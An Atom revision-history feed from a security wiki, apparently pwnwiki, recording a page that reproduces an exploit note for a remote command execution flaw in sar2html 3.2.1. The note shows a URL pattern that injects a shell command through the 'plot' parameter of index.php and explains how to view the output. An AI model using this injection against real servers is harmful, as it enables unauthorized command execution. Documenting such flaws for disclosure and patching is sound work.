https://pwnwiki.com/index.php?action=history&feed=atom&title=Sar2HTML_3.2.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E
Sar2HTML 3.2.1 遠程命令執行漏洞 - Revision history
2026-04-08T00:21:27Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=Sar2HTML_3.2.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&diff=2007&oldid=prev
Pwnwiki: Created page with "==EXP== <pre> # Exploit Title: sar2html Remote Code Execution # Date: 01/08/2019 # Exploit Author: Furkan KAYAPINAR # Vendor Homepage:https://github.com/cemtan/sar2html # Sof..."
2021-05-02T04:27:56Z
<p>Created page with "==EXP== <pre> # Exploit Title: sar2html Remote Code Execution # Date: 01/08/2019 # Exploit Author: Furkan KAYAPINAR # Vendor Homepage:https://github.com/cemtan/sar2html # Sof..."</p>
<p><b>New page</b></p><div>==EXP==<br />
<pre><br />
# Exploit Title: sar2html Remote Code Execution<br />
# Date: 01/08/2019<br />
# Exploit Author: Furkan KAYAPINAR<br />
# Vendor Homepage:https://github.com/cemtan/sar2html <br />
# Software Link: https://sourceforge.net/projects/sar2html/<br />
# Version: 3.2.1<br />
# Tested on: Centos 7<br />
<br />
In web application you will see index.php?plot url extension.<br />
<br />
http://<ipaddr>/index.php?plot=;<command-here> will execute <br />
the command you entered. After command injection press "select # host" then your command's <br />
output will appear bottom side of the scroll screen.<br />
<br />
</pre></div>
Pwnwiki